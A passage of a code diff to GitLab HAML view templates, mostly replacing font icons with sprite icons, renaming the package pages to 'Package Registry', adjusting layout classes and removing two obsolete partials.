+++ b/app/views/projects/merge_requests/show.html.haml
@@ -1,5 +1,5 @@
- @gfm_form = true
-- @content_class = "limit-container-width" unless fluid_layout
+- @content_class = "merge-request-container#{' limit-container-width' unless fluid_layout}"
- add_to_breadcrumbs _("Merge Requests"), project_merge_requests_path(@project)
- breadcrumb_title @merge_request.to_reference
- page_title "#{@merge_request.title} (#{@merge_request.to_reference})", _("Merge Requests")
@@ -70,10 +70,13 @@
= render 'projects/commit/pipelines_list', disable_initialization: true, endpoint: pipelines_project_merge_request_path(@project, @merge_request)
- if mr_action === "diffs"
- add_page_startup_api_call @endpoint_metadata_url
+ - params = request.query_parameters
+ - if Feature.enabled?(:default_merge_ref_for_diffs, @project)
+ - params = params.merge(diff_head: true)
= render "projects/merge_requests/tabs/pane", name: "diffs", id: "js-diffs-app", class: "diffs", data: { "is-locked": @merge_request.discussion_locked?,
- endpoint: diffs_project_merge_request_path(@project, @merge_request, 'json', request.query_parameters),
+ endpoint: diffs_project_merge_request_path(@project, @merge_request, 'json', params),
endpoint_metadata: @endpoint_metadata_url,
- endpoint_batch: diffs_batch_project_json_merge_request_path(@project, @merge_request, 'json', request.query_parameters),
+ endpoint_batch: diffs_batch_project_json_merge_request_path(@project, @merge_request, 'json', params),
endpoint_coverage: @coverage_path,
help_page_path: suggest_changes_help_path,
current_user_data: @current_user_data,
@@ -89,7 +92,7 @@
.loading.hide
.spinner.spinner-md
-= render 'shared/issuable/sidebar', issuable_sidebar: @issuable_sidebar, assignees: @merge_request.assignees
+= render 'shared/issuable/sidebar', issuable_sidebar: @issuable_sidebar, assignees: @merge_request.assignees, source_branch: @merge_request.source_branch
- if @merge_request.can_be_reverted?(current_user)
= render "projects/commit/change", type: 'revert', commit: @merge_request.merge_commit, title: @merge_request.title
diff --git a/app/views/projects/mirrors/_mirror_repos.html.haml b/app/views/projects/mirrors/_mirror_repos.html.haml
index 2f55cce70dc..d7098bbb69d 100644
--- a/app/views/projects/mirrors/_mirror_repos.html.haml
+++ b/app/views/projects/mirrors/_mirror_repos.html.haml
@@ -30,7 +30,7 @@
.form-check.gl-mb-3
= check_box_tag :only_protected_branches, '1', false, class: 'js-mirror-protected form-check-input'
= label_tag :only_protected_branches, _('Only mirror protected branches'), class: 'form-check-label'
- = link_to icon('question-circle'), help_page_path('user/project/protected_branches'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/project/protected_branches'), target: '_blank'
.panel-footer.gl-display-flex.gl-justify-content-end
= f.submit _('Mirror repository'), class: 'btn btn-success js-mirror-submit qa-mirror-repository-button', name: :update_remote_mirror
@@ -74,4 +74,4 @@
- if mirror.ssh_key_auth?
= clipboard_button(text: mirror.ssh_public_key, class: 'btn btn-default', title: _('Copy SSH public key'), qa_selector: 'copy_public_key_button')
= render 'shared/remote_mirror_update_button', remote_mirror: mirror
- %button.js-delete-mirror.qa-delete-mirror.rspec-delete-mirror.btn.btn-danger{ type: 'button', data: { mirror_id: mirror.id, toggle: 'tooltip', container: 'body' }, title: _('Remove') }= icon('trash-o')
+ %button.js-delete-mirror.qa-delete-mirror.rspec-delete-mirror.btn.btn-danger{ type: 'button', data: { mirror_id: mirror.id, toggle: 'tooltip', container: 'body' }, title: _('Remove') }= sprite_icon('remove')
diff --git a/app/views/projects/mirrors/_mirror_repos_push.html.haml b/app/views/projects/mirrors/_mirror_repos_push.html.haml
index 39ceaedab61..03839146f3b 100644
--- a/app/views/projects/mirrors/_mirror_repos_push.html.haml
+++ b/app/views/projects/mirrors/_mirror_repos_push.html.haml
@@ -10,4 +10,4 @@
.form-check.gl-mb-3
= check_box_tag :keep_divergent_refs, '1', false, class: 'js-mirror-keep-divergent-refs form-check-input'
= label_tag :keep_divergent_refs, _('Keep divergent refs'), class: 'form-check-label'
- = link_to icon('question-circle'), help_page_path('user/project/repository/repository_mirroring', anchor: 'keep-divergent-refs-core'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/project/repository/repository_mirroring', anchor: 'keep-divergent-refs'), target: '_blank'
diff --git a/app/views/projects/notes/_actions.html.haml b/app/views/projects/notes/_actions.html.haml
index 66721a28e62..058366eb75d 100644
--- a/app/views/projects/notes/_actions.html.haml
+++ b/app/views/projects/notes/_actions.html.haml
@@ -1,9 +1,10 @@
-- access = note_max_access_for_user(note)
-- if note.has_special_role?(Note::SpecialRole::FIRST_TIME_CONTRIBUTOR)
- %span.note-role.note-role-special.has-tooltip{ title: _("This is the author's first Merge Request to this project.") }
- = sprite_icon('first-contribution', css_class: 'gl-icon gl-vertical-align-top')
-- if access.nonzero?
- %span.note-role.user-access-role= Gitlab::Access.human_access(access)
+- access = note_human_max_access(note)
+- if note.noteable_author?(@noteable)
+ %span{ class: 'note-role user-access-role has-tooltip d-none d-md-inline-block', title: _("This user is the author of this %{noteable}.") % { noteable: @noteable.human_class_name } }= _("Author")
+- if access
+ %span{ class: 'note-role user-access-role has-tooltip', title: _("This user is a %{access} of the %{name} project.") % { access: access.downcase, name: note.project_name } }= access
+- elsif note.contributor?
+ %span{ class: 'note-role user-access-role has-tooltip', title: _("This user has previously committed to the %{name} project.") % { name: note.project_name } }= _("Contributor")
- if note.resolvable?
- can_resolve = can?(current_user, :resolve_note, note)
diff --git a/app/views/projects/packages/packages/_legacy_package_list.html.haml b/app/views/projects/packages/packages/_legacy_package_list.html.haml
deleted file mode 100644
index 43dbb5c3eee..00000000000
--- a/app/views/projects/packages/packages/_legacy_package_list.html.haml
+++ /dev/null
@@ -1,60 +0,0 @@
-- sort_value = @sort
-- sort_title = packages_sort_option_title(sort_value)
-
-- if @packages.any?
- .d-flex.justify-content-end
- .dropdown.inline.gl-mt-3.gl-mb-3.package-sort-dropdown
- .btn-group{ role: 'group' }
- .btn-group{ role: 'group' }
- %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static' }, class: 'btn btn-default' }
- = sort_title
- = icon('chevron-down')
- %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
- %li
- = sortable_item(sort_title_created_date, package_sort_path(sort: sort_value_recently_created), sort_title)
- = sortable_item(sort_title_name, package_sort_path(sort: sort_value_name_desc), sort_title)
- = sortable_item(sort_title_version, package_sort_path(sort: sort_value_version_desc), sort_title)
- = sortable_item(sort_title_type, package_sort_path(sort: sort_value_type_desc), sort_title)
- = packages_sort_direction_button(sort_value)
-
- .table-holder
- .gl-responsive-table-row.table-row-header.bg-secondary-50.px-2.border-top{ role: 'row' }
- .table-section.section-30{ role: 'rowheader' }
- = _('Name')
- .table-section.section-20{ role: 'rowheader' }
- = _('Version')
- .table-section.section-20{ role: 'rowheader' }
- = _('Type')
- .table-section.section-20{ role: 'rowheader' }
- = _('Created')
- .table-section.section-10{ role: 'rowheader' }
- - @packages.each do |package|
- .gl-responsive-table-row.package-row.px-2{ data: { qa_selector: "package_row" } }
- .table-section.section-30
- .table-mobile-header{ role: "rowheader" }= _("Name")
- .table-mobile-content.flex-truncate-parent
- = link_to package.name, project_package_path(@project, package), class: 'flex-truncate-child', data: { qa_selector: "package_link" }
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Version")
- .table-mobile-content
- = package.version
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Type")
- .table-mobile-content
- = package.package_type
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Created")
- .table-mobile-content
- = time_ago_with_tooltip(package.created_at)
- .table-section.section-10
- .table-mobile-header{ role: "rowheader" }
- .table-mobile-content
- - if can_destroy_package
- .float-right
- = link_to project_package_path(@project, package), method: :delete, data: { confirm: _("Are you sure?") }, class: "btn btn-grouped btn-remove", title: _('Delete Package') do
- = icon('trash')
- = paginate @packages, theme: "gitlab"
-- else
- .row.empty-state
- .col-12
- = render 'shared/packages/no_packages'
diff --git a/app/views/projects/packages/packages/index.html.haml b/app/views/projects/packages/packages/index.html.haml
index c81326f3760..0d5350ab62b 100644
--- a/app/views/projects/packages/packages/index.html.haml
+++ b/app/views/projects/packages/packages/index.html.haml
@@ -1,4 +1,5 @@
-- page_title _("Packages")
+- page_title _("Package Registry")
+- @content_class = "limit-container-width" unless fluid_layout
.row
.col-12
diff --git a/app/views/projects/packages/packages/show.html.haml b/app/views/projects/packages/packages/show.html.haml
index a66ae466d9d..97a3c6e7092 100644
--- a/app/views/projects/packages/packages/show.html.haml
+++ b/app/views/projects/packages/packages/show.html.haml
@@ -1,19 +1,19 @@
-- add_to_breadcrumbs _("Packages"), project_packages_path(@project)
+- add_to_breadcrumbs _("Package Registry"), project_packages_path(@project)
- add_to_breadcrumbs @package.name, project_packages_path(@project)
- breadcrumb_title @package.version
-- page_title _("Packages")
+- page_title _("Package Registry")
+- @content_class = "limit-container-width" unless fluid_layout
.row
.col-12
#js-vue-packages-detail{ data: { package: package_from_presenter(@package),
can_delete: can?(current_user, :destroy_package, @project).to_s,
- destroy_path: project_package_path(@project, @package),
svg_path: image_path('illustrations/no-packages.svg'),
npm_path: package_registry_instance_url(:npm),
npm_help_path: help_page_path('user/packages/npm_registry/index'),
maven_path: package_registry_project_url(@project.id, :maven),
maven_help_path: help_page_path('user/packages/maven_repository/index'),
- conan_path: package_registry_instance_url(:conan),
+ conan_path: package_registry_project_url(@project.id, :conan),
conan_help_path: help_page_path('user/packages/conan_repository/index'),
nuget_path: nuget_package_registry_url(@project.id),
nuget_help_path: help_page_path('user/packages/nuget_repository/index'),
@@ -22,4 +22,6 @@
pypi_help_path: help_page_path('user/packages/pypi_repository/index'),
composer_path: composer_registry_url(@project&.group&.id),
composer_help_path: help_page_path('user/packages/composer_repository/index'),
- project_name: @project.name} }
+ project_name: @project.name,
+ project_list_url: project_packages_path(@project),
+ group_list_url: @project.group ? group_packages_path(@project.group) : ''} }
diff --git a/app/views/projects/pages/_access.html.haml b/app/views/projects/pages/_access.html.haml
index 63dd7ca1def..5b23234791b 100644
--- a/app/views/projects/pages/_access.html.haml
+++ b/app/views/projects/pages/_access.html.haml
@@ -14,10 +14,10 @@
%p
= external_link(domain.url, domain.url)
- unless @project.public_pages?
- .card-footer.alert-warning
+ .card-footer.gl-alert-warning
- help_page = help_page_path('/user/project/pages/pages_access_control')
- - link_start = '<a href="%{url}" target="_blank" class="alert-link" rel="noopener noreferrer">'.html_safe % { url: help_page }
+ - link_start = '<a href="%{url}" target="_blank" class="gl-alert-link" rel="noopener noreferrer">'.html_safe % { url: help_page }
- link_end = '</a>'.html_safe
= html_escape_once(s_('GitLabPages|Access Control is enabled for this Pages website; only authorized users will be able to access it. To make your website publicly available, navigate to your project\'s %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} and select %{strong_start}Everyone%{strong_end} in pages section. Read the %{link_start}documentation%{link_end} for more information.')).html_safe % { link_start: link_start, link_end: link_end, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- .card-footer.alert-primary
+ .card-footer.gl-alert-info
= s_('GitLabPages|It may take up to 30 minutes before the site is available after the first deployment.')
diff --git a/app/views/projects/pipelines/_pipeline_warnings.html.haml b/app/views/projects/pipelines/_pipeline_warnings.html.haml
deleted file mode 100644
index e27bd440462..00000000000
--- a/app/views/projects/pipelines/_pipeline_warnings.html.haml
+++ /dev/null
@@ -1,6 +0,0 @@
-- if warnings.any?
- - warnings.map(&:content).each do |warning|
- .bs-callout.bs-callout-warning
- %p
- %b= _("Warning:")
- = markdown(warning)
diff --git a/app/views/projects/pipelines/_with_tabs.html.haml b/app/views/projects/pipelines/_with_tabs.html.haml
index 4ae06e1e16f..f1ed67f8f82 100644
--- a/app/views/projects/pipelines/_with_tabs.html.haml
+++ b/app/views/projects/pipelines/_with_tabs.html.haml
@@ -26,7 +26,7 @@
= render_if_exists "projects/pipelines/tabs_holder", pipeline: @pipeline, project: @project
.tab-content
- #js-tab-pipeline.tab-pane.position-absolute.position-left-0.w-100
+ #js-tab-pipeline.tab-pane.gl-absolute.gl-left-0.gl-w-full
#js-pipeline-graph-vue
#js-tab-builds.tab-pane
diff --git a/app/views/projects/pipelines/new.html.haml b/app/views/projects/pipelines/new.html.haml
index 726bf9af223..2be75106000 100644
--- a/app/views/projects/pipelines/new.html.haml
+++ b/app/views/projects/pipelines/new.html.haml
@@ -7,7 +7,7 @@
%hr
- if Feature.enabled?(:new_pipeline_form)
- #js-new-pipeline{ data: { project_id: @project.id, pipelines_path: project_pipelines_path(@project), ref_param: params[:ref] || @project.default_branch, var_param: params[:var].to_json, file_param: params[:file_var].to_json, ref_names: @project.repository.ref_names.to_json.html_safe, settings_link: project_settings_ci_cd_path(@project) } }
+ #js-new-pipeline{ data: { project_id: @project.id, pipelines_path: project_pipelines_path(@project), ref_param: params[:ref] || @project.default_branch, var_param: params[:var].to_json, file_param: params[:file_var].to_json, ref_names: @project.repository.ref_names.to_json.html_safe, settings_link: project_settings_ci_cd_path(@project), max_warnings: ::Gitlab::Ci::Warnings::MAX_LIMIT } }
- else
= form_for @pipeline, as: :pipeline, url: project_pipelines_path(@project), html: { id: "new-pipeline-form", class: "js-new-pipeline-form js-requires-input" } do |f|
@@ -43,5 +43,4 @@
= f.submit s_('Pipeline|Run Pipeline'), class: 'btn btn-success js-variables-save-button', tabindex: 3
= link_to _('Cancel'), project_pipelines_path(@project), class: 'btn btn-default float-right'
- -# haml-lint:disable InlineJavaScript
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/pipelines/show.html.haml b/app/views/projects/pipelines/show.html.haml
index e1a606b1765..a9c140aee5f 100644
--- a/app/views/projects/pipelines/show.html.haml
+++ b/app/views/projects/pipelines/show.html.haml
@@ -19,7 +19,6 @@
- lint_link_start = '<a href="%{url}">'.html_safe % { url: lint_link_url }
= s_('You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}').html_safe % { gitlab_ci_yml: '.gitlab-ci.yml', lint_link_start: lint_link_start, lint_link_end: '</a>'.html_safe }
- = render "projects/pipelines/pipeline_warnings", warnings: @pipeline.warning_messages
= render "projects/pipelines/with_tabs", pipeline: @pipeline, pipeline_has_errors: pipeline_has_errors
.js-pipeline-details-vue{ data: { endpoint: project_pipeline_path(@project, @pipeline, format: :json) } }
diff --git a/app/views/projects/product_analytics/graphs.html.haml b/app/views/projects/product_analytics/graphs.html.haml
index 89286061594..c345561e6ce 100644
--- a/app/views/projects/product_analytics/graphs.html.haml
+++ b/app/views/projects/product_analytics/graphs.html.haml
@@ -5,6 +5,10 @@
%p
= _('Showing graphs based on events of the last %{timerange} days.') % { timerange: @timerange }
+
+.gl-mb-3
+ = render 'graph', graph: @activity_graph
+
- @graphs.each_slice(2) do |pair|
.row.append-bottom-10
- pair.each do |graph|
diff --git a/app/views/projects/serverless/functions/index.html.haml b/app/views/projects/serverless/functions/index.html.haml
index 383c187b398..b17e6df1e8e 100644
--- a/app/views/projects/serverless/functions/index.html.haml
+++ b/app/views/projects/serverless/functions/index.html.haml
@@ -10,11 +10,10 @@
help_path: help_page_path('user/project/clusters/serverless/index'),
empty_image_path: image_path('illustrations/empty-state/empty-serverless-lg.svg') } }
-%div{ class: [('limit-container-width' unless fluid_layout)] }
- .js-serverless-survey-banner{ data: { user_name: current_user.name, user_email: current_user.email } }
+.js-serverless-survey-banner{ data: { user_name: current_user.name, user_email: current_user.email } }
- .js-serverless-functions-notice
- .flash-container
+.js-serverless-functions-notice
+ .flash-container
- .top-area.adjust.d-flex.justify-content-center.gl-border-none
- .serverless-functions-table#js-serverless-functions
+.top-area.adjust.d-flex.justify-content-center.gl-border-none
+ .serverless-functions-table#js-serverless-functions
diff --git a/app/views/projects/serverless/functions/show.html.haml b/app/views/projects/serverless/functions/show.html.haml
index 79bb943d6ed..dd81d957e51 100644
--- a/app/views/projects/serverless/functions/show.html.haml
+++ b/app/views/projects/serverless/functions/show.html.haml
@@ -11,10 +11,9 @@
clusters_path: clusters_path,
help_path: help_path } }
-%div{ class: [('limit-container-width' unless fluid_layout)] }
- .serverless-function-details#js-serverless-function-details
+.serverless-function-details#js-serverless-function-details
- .js-serverless-function-notice
- .flash-container
+.js-serverless-function-notice
+ .flash-container
- .function-holder.js-function-holder.input-group
+.function-holder.js-function-holder.input-group
diff --git a/app/views/projects/services/_form.html.haml b/app/views/projects/services/_form.html.haml
index 24b47f6e4b6..2b1e08f4880 100644
--- a/app/views/projects/services/_form.html.haml
+++ b/app/views/projects/services/_form.html.haml
@@ -13,13 +13,9 @@
- if @service.respond_to?(:detailed_description)
%p= @service.detailed_description
.col-lg-8
- = form_for(@service, as: :service, url: scoped_integration_path(@service), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'can-test' => @service.can_test?, 'test-url' => test_project_service_path(@project, @service) } }) do |form|
+ = form_for(@service, as: :service, url: scoped_integration_path(@service), method: :put, html: { class: 'gl-show-field-errors integration-settings-form js-integration-settings-form', data: { 'test-url' => test_project_service_path(@project, @service) } }) do |form|
= render 'shared/service_settings', form: form, integration: @service
- .footer-block.row-content-block{ :class => "#{'gl-display-none' if @service.is_a?(AlertsService)}" }
- %input{ id: 'services_redirect_to', type: 'hidden', name: 'redirect_to', value: request.referrer }
- = service_save_button(disabled: @service.is_a?(AlertsService))
- &nbsp;
- = link_to _('Cancel'), project_settings_integrations_path(@project), class: 'btn btn-cancel'
+ %input{ id: 'services_redirect_to', type: 'hidden', name: 'redirect_to', value: request.referrer }
- if lookup_context.template_exists?('show', "projects/services/#{@service.to_param}", true)
%hr
diff --git a/app/views/projects/services/prometheus/_custom_metrics.html.haml b/app/views/projects/services/prometheus/_custom_metrics.html.haml
index 3642460467b..57100282c34 100644
--- a/app/views/projects/services/prometheus/_custom_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_custom_metrics.html.haml
@@ -20,7 +20,7 @@
.flash-text
.loading-metrics.js-loading-custom-metrics
%p.m-3
- = icon('spinner spin', class: 'metrics-load-spinner')
+ = loading_icon(css_class: 'metrics-load-spinner')
= s_('PrometheusService|Finding custom metrics...')
.empty-metrics.hidden.js-empty-custom-metrics
%p.text-tertiary.m-3.js-no-active-integration-text.hidden
diff --git a/app/views/projects/services/prometheus/_metrics.html.haml b/app/views/projects/services/prometheus/_metrics.html.haml
index 79f5e846bd7..732a084d476 100644
--- a/app/views/projects/services/prometheus/_metrics.html.haml
+++ b/app/views/projects/services/prometheus/_metrics.html.haml
@@ -16,7 +16,7 @@
.card-body
.loading-metrics.js-loading-metrics
%p.m-3
- = icon('spinner spin', class: 'metrics-load-spinner')
+ = loading_icon(css_class: 'metrics-load-spinner')
= s_('PrometheusService|Finding and configuring metrics...')
.empty-metrics.hidden.js-empty-metrics
%p.text-tertiary.m-3
diff --git a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
index b4c9e51f53a..453deff7756 100644
--- a/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_autodevops_form.html.haml
@@ -40,18 +40,18 @@
= form.radio_button :deploy_strategy, 'continuous', class: 'form-check-input'
= form.label :deploy_strategy_continuous, class: 'form-check-label' do
= s_('CICD|Continuous deployment to production')
- = link_to icon('question-circle'), help_page_path('topics/autodevops/stages.md', anchor: 'auto-deploy'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('topics/autodevops/stages.md', anchor: 'auto-deploy'), target: '_blank'
.form-check
= form.radio_button :deploy_strategy, 'timed_incremental', class: 'form-check-input'
= form.label :deploy_strategy_timed_incremental, class: 'form-check-label' do
= s_('CICD|Continuous deployment to production using timed incremental rollout')
- = link_to icon('question-circle'), help_page_path('topics/autodevops/customize.md', anchor: 'timed-incremental-rollout-to-production-premium'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('topics/autodevops/customize.md', anchor: 'timed-incremental-rollout-to-production'), target: '_blank'
.form-check
= form.radio_button :deploy_strategy, 'manual', class: 'form-check-input'
= form.label :deploy_strategy_manual, class: 'form-check-label' do
= s_('CICD|Automatic deployment to staging, manual deployment to production')
- = link_to icon('question-circle'), help_page_path('topics/autodevops/customize.md', anchor: 'incremental-rollout-to-production-premium'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('topics/autodevops/customize.md', anchor: 'incremental-rollout-to-production'), target: '_blank'
= f.submit _('Save changes'), class: "btn btn-success gl-mt-5", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/projects/settings/ci_cd/_form.html.haml b/app/views/projects/settings/ci_cd/_form.html.haml
index a0dd06e3304..414a5f264bd 100644
--- a/app/views/projects/settings/ci_cd/_form.html.haml
+++ b/app/views/projects/settings/ci_cd/_form.html.haml
@@ -8,7 +8,7 @@
= _("Git strategy for pipelines")
%p
= html_escape(_("Choose between %{code_open}clone%{code_close} or %{code_open}fetch%{code_close} to get the recent application code")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'git-strategy'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'git-strategy'), target: '_blank'
.form-check
= f.radio_button :build_allow_git_fetch, 'false', { class: 'form-check-input' }
= f.label :build_allow_git_fetch_false, class: 'form-check-label' do
@@ -38,7 +38,7 @@
= f.text_field :build_timeout_human_readable, class: 'form-control'
%p.form-text.text-muted
= _('If any job surpasses this timeout threshold, it will be marked as failed. Human readable time input language is accepted like "1 hour". Values without specification represent seconds.')
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'timeout'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'timeout'), target: '_blank'
- if can?(current_user, :update_max_artifacts_size, @project)
%hr
@@ -47,7 +47,7 @@
= f.number_field :max_artifacts_size, class: 'form-control'
%p.form-text.text-muted
= _("Set the maximum file size for each job's artifacts")
- = link_to icon('question-circle'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size-core-only'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size'), target: '_blank'
%hr
.form-group
@@ -55,7 +55,7 @@
= f.text_field :ci_config_path, class: 'form-control', placeholder: '.gitlab-ci.yml'
%p.form-text.text-muted
= html_escape(_("The path to the CI configuration file. Defaults to %{code_open}.gitlab-ci.yml%{code_close}")) % { code_open: '<code>'.html_safe, code_close: '</code>'.html_safe }
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'custom-ci-configuration-path'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'custom-ci-configuration-path'), target: '_blank'
%hr
.form-group
@@ -65,7 +65,7 @@
%strong= _("Public pipelines")
.form-text.text-muted
= _("Allow public access to pipelines and job details, including output logs and artifacts")
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'visibility-of-pipelines'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'visibility-of-pipelines'), target: '_blank'
.bs-callout.bs-callout-info
%p #{_("If enabled")}:
%ul
@@ -86,7 +86,7 @@
%strong= _("Auto-cancel redundant, pending pipelines")
.form-text.text-muted
= _("New pipelines will cancel older, pending pipelines on the same branch")
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'auto-cancel-pending-pipelines'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'auto-cancel-pending-pipelines'), target: '_blank'
.form-group
.form-check
@@ -95,7 +95,7 @@
%strong= _("Skip outdated deployment jobs")
.form-text.text-muted
= _("When a deployment job is successful, skip older deployment jobs that are still pending")
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'skip-outdated-deployment-jobs'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'skip-outdated-deployment-jobs'), target: '_blank'
%hr
.form-group
@@ -108,7 +108,7 @@
.input-group-text /
%p.form-text.text-muted
= _("A regular expression that will be used to find the test coverage output in the job log. Leave blank to disable")
- = link_to icon('question-circle'), help_page_path('ci/pipelines/settings', anchor: 'test-coverage-parsing'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('ci/pipelines/settings', anchor: 'test-coverage-parsing'), target: '_blank'
.bs-callout.bs-callout-info
%p= _("Below are examples of regex for existing tools:")
%ul
diff --git a/app/views/projects/show.html.haml b/app/views/projects/show.html.haml
index 4a521f2f46e..67bdcd0d9d6 100644
--- a/app/views/projects/show.html.haml
+++ b/app/views/projects/show.html.haml
@@ -7,22 +7,21 @@
= render partial: 'flash_messages', locals: { project: @project }
-%div{ class: [("limit-container-width" unless fluid_layout)] }
- = render "projects/last_push"
+= render "projects/last_push"
- = render "home_panel"
+= render "home_panel"
- - if can?(current_user, :download_code, @project) && @project.repository_languages.present?
- = repository_languages_bar(@project.repository_languages)
+- if can?(current_user, :download_code, @project) && @project.repository_languages.present?
+ = repository_languages_bar(@project.repository_languages)
- = render "archived_notice", project: @project
- = render_if_exists "projects/marked_for_deletion_notice", project: @project
- = render_if_exists "projects/ancestor_group_marked_for_deletion_notice", project: @project
+= render "archived_notice", project: @project
+= render_if_exists "projects/marked_for_deletion_notice", project: @project
+= render_if_exists "projects/ancestor_group_marked_for_deletion_notice", project: @project
- - view_path = @project.default_view
+- view_path = @project.default_view
- - if show_auto_devops_callout?(@project)
- = render 'shared/auto_devops_callout'
+- if show_auto_devops_callout?(@project)
+ = render 'shared/auto_devops_callout'
- %div{ class: project_child_container_class(view_path) }
- = render view_path, is_project_overview: true
+%div{ class: project_child_container_class(view_path) }
+ = render view_path, is_project_overview: true
diff --git a/app/views/projects/static_site_editor/show.html.haml b/app/views/projects/static_site_editor/show.html.haml
index 2d817912335..cbe27cefba3 100644
--- a/app/views/projects/static_site_editor/show.html.haml
+++ b/app/views/projects/static_site_editor/show.html.haml
@@ -1 +1 @@
-#static-site-editor{ data: @config.payload.merge({ merge_requests_illustration_path: image_path('illustrations/merge_requests.svg') }) }
+#static-site-editor{ data: @data }
diff --git a/app/views/projects/tags/_tag.html.haml b/app/views/projects/tags/_tag.html.haml
index c8a6168edfc..dba9b20fcff 100644
--- a/app/views/projects/tags/_tag.html.haml
+++ b/app/views/projects/tags/_tag.html.haml
@@ -2,8 +2,8 @@
- release = @releases.find { |release| release.tag == tag.name }
%li.flex-row.allow-wrap
.row-main-content
- = icon('tag')
- = link_to tag.name, project_tag_path(@project, tag.name), class: 'item-title ref-name gl-ml-2'
+ = sprite_icon('tag')
+ = link_to tag.name, project_tag_path(@project, tag.name), class: 'item-title ref-name'
- if protected_tag?(@project, tag)
%span.badge.badge-success.gl-ml-2
@@ -39,4 +39,4 @@
= link_to edit_project_tag_release_path(@project, tag.name), class: 'btn btn-edit has-tooltip', title: s_('TagsPage|Edit release notes'), data: { container: "body" } do
= sprite_icon("pencil")
= link_to project_tag_path(@project, tag.name), class: "btn btn-remove remove-row has-tooltip gl-ml-3 #{protected_tag?(@project, tag) ? 'disabled' : ''}", title: s_('TagsPage|Delete tag'), method: :delete, data: { confirm: s_('TagsPage|Deleting the %{tag_name} tag cannot be undone. Are you sure?') % { tag_name: tag.name }, container: 'body' }, remote: true do
- = icon("trash-o")
+ = sprite_icon("remove")
diff --git a/app/views/projects/tags/destroy.js.haml b/app/views/projects/tags/destroy.js.haml
index cde23e03d54..59d359bbf10 100644
--- a/app/views/projects/tags/destroy.js.haml
+++ b/app/views/projects/tags/destroy.js.haml
@@ -1,4 +1,4 @@
- if @error.present?
- new Flash('#{escape_javascript(@error)}', 'alert');
+ new Flash({ message: '#{escape_javascript(@error)}', type: 'alert' });
- elsif @repository.tags.empty?
$('.tags').load(document.URL + ' .nothing-here-block').hide().fadeIn(1000)
diff --git a/app/views/projects/tags/new.html.haml b/app/views/projects/tags/new.html.haml
index c32318df7cc..fe42394d919 100644
--- a/app/views/projects/tags/new.html.haml
+++ b/app/views/projects/tags/new.html.haml
@@ -2,8 +2,10 @@
- default_ref = params[:ref] || @project.default_branch
- if @error
- .alert.alert-danger
- %button.close{ type: "button", "data-dismiss" => "alert" } &times;
+ .gl-alert.gl-alert-danger
+ = sprite_icon('error', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ = sprite_icon('close', css_class: 'gl-icon')
= @error
%h3.page-title
@@ -52,5 +54,4 @@
.form-actions
= button_tag s_('TagsPage|Create tag'), class: 'btn btn-success', data: { qa_selector: "create_tag_button" }
= link_to s_('TagsPage|Cancel'), project_tags_path(@project), class: 'btn btn-cancel'
--# haml-lint:disable InlineJavaScript
%script#availableRefs{ type: "application/json" }= @project.repository.ref_names.to_json.html_safe
diff --git a/app/views/projects/tags/show.html.haml b/app/views/projects/tags/show.html.haml
index ff973e2922f..25a560da5c6 100644
--- a/app/views/projects/tags/show.html.haml
+++ b/app/views/projects/tags/show.html.haml
@@ -10,7 +10,7 @@
.nav-text
.title
%span.item-title.ref-name{ data: { qa_selector: 'tag_name_content' } }
- = icon('tag')
+ = sprite_icon('tag')
= @tag.name
- if protected_tag?(@project, @tag)
%span.badge.badge-success
diff --git a/app/views/projects/tree/_tree_header.html.haml b/app/views/projects/tree/_tree_header.html.haml
index eab6d750a02..268858f8ff8 100644
--- a/app/views/projects/tree/_tree_header.html.haml
+++ b/app/views/projects/tree/_tree_header.html.haml
@@ -1,5 +1,6 @@
- can_collaborate = can_collaborate_with_project?(@project)
- can_create_mr_from_fork = can?(current_user, :fork_project, @project) && can?(current_user, :create_merge_request_in, @project)
